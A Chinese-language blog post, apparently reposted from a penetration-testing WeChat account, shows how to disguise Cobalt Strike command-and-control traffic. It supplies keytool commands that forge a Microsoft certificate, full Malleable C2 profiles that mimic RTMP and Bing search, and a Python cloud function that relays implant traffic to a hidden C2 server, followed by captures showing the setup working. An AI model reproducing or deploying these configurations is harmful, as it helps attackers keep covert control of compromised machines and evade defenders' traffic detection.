CobaltStrike C2 流量混淆

admin 2022年10月30日19:28:15评论143 views字数 11130阅读37分6秒阅读模式

C2流量混淆

在上一个文章,我们成功使用腾讯的云函数来隐藏我们C2的真实ip,但是我们在实际情况中,不仅仅要隐藏我们自身的真实ip,对于c2的流量混淆也是十分重要的。因为现在说实话,默认的c2在流量检测设备面前,可以说不堪一击,已经被分析透了。所以我们还需要对我们C2的流量进行混淆。

而CS给我们提供了很好的扩展用来让我们对流量进行混淆。也就是profile文件,我们可以在这个文件中对C2的流量进行自定义编辑。还有一个重要的点就是证书,C2的默认证书也是已经被检测烂了,所以我们还需要对C2的证书进行自定义编辑。

自定义C2证书

首先我们来进行自定义证书。JAVA给我们提供了一个很好的工具keytool,我们可以用它来生成证书以及查看证书。

首先我们先使用命令查看CS自带的证书,而我们的证书都是加密过的,所以我们还需要输入密码,CS默认的证书密码为123456。

keytool -list -v -keystore cobaltstrike.store
CobaltStrike C2 流量混淆

我们在这其中可以看到十分明显的CS特征。

然后我们来生成我们自己的证书。如下图,我们生成了一个microsoft.com的证书用来伪装。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias  microsoft.com -dname "CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=WA, C=US"
CobaltStrike C2 流量混淆

然后我们如何去使用这个证书呢,我们需要在teamserver中进行修改。我们在我们的teamserver中最下面,往往可以看懂这么一条命令,该命令是来启动我们的CS服务器端的。我们在这里可以看到使用的证书以及证书的密码,我们需要根据我们生成的证书和密码对应进行修改。当然,CS的启动端口默认为50050,这个我们也可以在这里进行修改。

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar server.TeamServer $*

当然,我们有的teamserver中还会存在这样的内容。这里的内容是用来判断是否存在keytool这个工具,并且判断是否存在cobaltstrike.store这个证书文件,如果不存在,那么他会生成一个证书供我们使用。

# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
print_error "keytool is not in $PATH"
echo " install the Java Developer Kit"
exit
fi

#
generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
if [ -e ./cobaltstrike.store ]; then
print_info "Will use existing X509 certificate and keystore (for SSL)"
else
print_info "Generating X509 certificate and keystore (for SSL)"
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Outlook.live.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"
fi

CS流量混淆

说到CS流量混淆,我们首先得了解一下有关CS的木马通信的基础。这里借用大佬的一个图。可以看到,CS的木马与服务器端通信主要是通过一个get请求和一个post请求实现的。

CobaltStrike C2 流量混淆
  1. 木马向服务器发送get请求,这也是我们常说的心跳。
  2. CS收到get请求后,响应该请求,如果有需要执行的命令,那么会创建一个命令的ID,将命令与id都放在响应体中返回给我们的木马。如果不存在执行的命令,那么木马继续睡眠,直到下一次心跳时间。
  3. 如有有命令需要执行,木马将命令执行后,以post的形式将命令执行的结果与id发送给我们的CS服务器然后又回到睡眠状态。
  4. CS收到命令执行结果,根据id和结果发送给我们的cs客户端显示出来。(可以忽略这条,没啥用)

如上,我们知道了cs的通信逻辑,那么我们要混淆的流量的内容,也就是我们的这两个请求。CS给我们提供了.profile文件来让我们自定义上面的两个请求。而github上有大佬已经给我们写好了模仿不同服务器的配置文件,项目地址如下:

https://github.com/rsmudge/Malleable-C2-Profiles.git

https://github.com/threatexpress/malleable-c2

我们以其中的rtmp.profile为例。首先在7-10行定义了木马的休眠时间、UA头、DNS等信息。当然,这不是我们重点关注的内容,我们重点关注的内容在下边。

首先我们看到http-get,这个是定义我们上面所说的心跳请求,也就是第一个get请求的。我们来看其中的内容,首先定义了一个url,这个url就是我们伪造的get请求的url,也就是说我们的心跳请求,会去请求这个path,然后client中,便是我们木马发送给我们服务器的一些信息,header便不多说了,根据实际情况进行伪装即可。重点是下面的metadata,这个是需要给我们CS发送的一个值,我们可以看到其被base64加密,然后放在了cookie中。然后就是server,这里定义了响应的服务器给木马响应的内容,首先header也不多说了,下面的output,就是我们如果要执行命令时,命令就会以base64的形式放在响应包的包体中。(实际经过流量分析,不仅仅是base64加密,还有其他加密。)

然后就是我们的http-post,这里定义了木马执行命令后给服务器发送命令执行结果的情况。首先也是定义请求的path与包头内容。我们在上面也提到了我们的post需要发送两个参数给我们的CS服务器,一个是id,一个是命令执行的结果。我们来看这两个参数在这个配置中是如何发送的,我们可以看到,首先是将id加在了url的后面,然后将命令执行的结果进行base64加密,放在包体中。

#
# Adode Real-Time-Messaging-Protcol (RTMP) profile
#
# Author: @harmj0y
#

set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Shockwave Flash";

http-get {

set uri "/idle/1376547834/1";

client {

header "Accept" "*/*";
header "Connection" "Keep-Alive";
header "Cache-Control" "no-cache";
header "Content-Type" "application/x-fcs";

metadata {
base64;
header "Cookie";
}
}

server {

header "Content-Type" "application/x-fcs";
header "Connection" "Keep-Alive";
header "Server" "FlashCom/3.5.7";
header "Cache-Control" "no-cache";

output {
base64;
print;
}
}
}

http-post {

set uri "/send/1376547834/";

client {

header "Accept" "*/*";
header "Connection" "Keep-Alive";
header "Cache-Control" "no-cache";
header "Content-Type" "application/x-fcs";

id {
uri-append;
}

output {
base64;
print;
}
}

server {

header "Content-Type" "application/x-fcs";
header "Connection" "Keep-Alive";
header "Server" "FlashCom/3.5.7";
header "Cache-Control" "no-cache";

output {
base64;
print;
}
}
}

这样,我们就完成了一个简单的流量混淆,比如下面这个bingsearch的流量混淆配置。这个写的就比上面完善许多,包括我们的证书也进行了配置。我们来看这个的配置,首先在GET请求中,将需要发送的内容放在参数q中,并且将qbase64加密,然后后定义了几个参数来帮助混淆。而相应包也不是简简单单的直接将要发送的数据放在响应体中,而是在其前后都增加了html的内容,将其伪装为一个网页进行响应。

而在http-post中,将原本的发送命令执行结果的POST请求修改为GET,然后同样将命令执行的结果放在参数q中,注意我们在上面有一个参数form,我们在上面的请求中是将其作为一个固定的参数,而在这里,我们将用其来传递id。

#
# Bing Web Search
#
# Author: @bluscreenofjeff
#

https-certificate {
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}

set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
set dns_idle "8.8.4.4";
set maxdns "235";

http-get {

set uri "/search/";

client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";

metadata {
base64url;
parameter "q";
}

parameter "go" "Search";
parameter "qs" "bs";
parameter "form" "QBRE";


}

server {

header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";


output {
netbios;
prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}

http-post {

set uri "/Search/";
set verb "GET";

client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";

output {
base64url;
parameter "q";
}

parameter "go" "Search";
parameter "qs" "bs";

id {
base64url;
parameter "form";
}
}

server {

header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";


output {
netbios;
prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}

http-stager {
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
}
}

利用云函数隐藏C2真实ip

在之前,我们成功通过云函数去隐藏C2的真实ip,其中我们也编写了一个profile文件,但是我们想利用云函数隐藏我们C2的真实ip的同时,还要进行高级的流量混淆,我们应该怎么操作呢?

其实我们可以发现,我们的云函数的功能十分简单,仅仅是做了一个流量转发的功能,那么理论上,无论我们的木马给云函数发送什么样的数据包,云函数都应该转发给我们的C2服务器,但是实际经过测试,在上次使用云函数隐藏C2真实ip的代码中,是不能实现的。但是在测试上面的bing混淆时,发现可以上线,但是无法执行命令。最后通过查看腾讯云函数的api编写文档,成功发现了问题所在,我们之前编写的云函数,并没有转发get请求的参数,只转发了get请求的path,所以我们对其代码进行修改。

# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://c2ip'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'queryString' in event.keys():
para_data = event['queryString']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
if 'queryString' in event.keys():
resp=requests.get(C2+path,params=para_data,headers=headers,verify=False)
else:
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response

经过修改,我们可以成功使用各种不同的混淆上线C2。

混淆流量分析

我们首先来看我们第一个使用的rtmp的混淆,首先来看心跳包,我们可以看到,首先发送了一个get请求,然后服务器进行响应,而且其中的内容与我们的配置都能对应上。比如响应头,path等。但是于此同时我们也可以看到,因为使用了腾讯云函数来隐藏我们的真实ip,所以我们的请求的host为我们腾讯云的域名。且响应时,因为使用了腾讯的云函数,所以会在其中增加腾讯云函数的内容,包括了我们云函数的名称c2。。。。

CobaltStrike C2 流量混淆

然后我们来看命令执行的包,我们可以看到是post请求,然后id为path中的最后一串数字,下面的乱码就是我们命令执行的结果。(这个图截错了,不是云函数代理的,大家凑乎看。。。)

CobaltStrike C2 流量混淆

然后我们来看一下使用bingsearch进行混淆的流量,首先可以看到很多的心跳,且因为我们将命令执行的结果的post包修改为了get包,所以无法通过get和post去判断哪个是命令执行的包那个是心跳包,且这search/?的流量也很不起眼,会让人误以为是查询的流量。

CobaltStrike C2 流量混淆

然后找个心跳包具体看一下,可以看到首先和我们配置的一样,模仿了bing的查询服务器。且无论是否执行命令,响应都会带一个响应题

CobaltStrike C2 流量混淆

然后在命令执行包中我们可以看到form参数发生了变换,这个实际上在我们的代码中,我们将base64加密过后的id值最为参数放在了参数form中。而命令执行结果的参数被我们放在了参数q中。

CobaltStrike C2 流量混淆

我们使用微步去对我们木马进行检测,虽然能确定是cs马,毕竟没做加密,但是显示的ip都是我们腾讯云的ip,很好的隐藏了我们的c2服务器。

CobaltStrike C2 流量混淆


星 球 免 费 福 利



 转发公众号本文到朋友圈

 截图到公众号后台第1、3、5名获取免费进入星球


星球的最近主题和星球内部工具一些展示
CobaltStrike C2 流量混淆

CobaltStrike C2 流量混淆

CobaltStrike C2 流量混淆


CobaltStrike C2 流量混淆


CobaltStrike C2 流量混淆


CobaltStrike C2 流量混淆



欢 迎 加 入 星 球 !

CobaltStrike C2 流量混淆

关 注 有 礼



关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

CobaltStrike C2 流量混淆 还在等什么?赶紧点击下方名片关注学习吧!CobaltStrike C2 流量混淆


CobaltStrike C2 流量混淆



群聊 | 技术交流群-群除我佬


干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(渗透安全团队):CobaltStrike C2 流量混淆

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日19:28:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike C2 流量混淆http://cn-sec.com/archives/1381045.html

发表评论

匿名网友 填写信息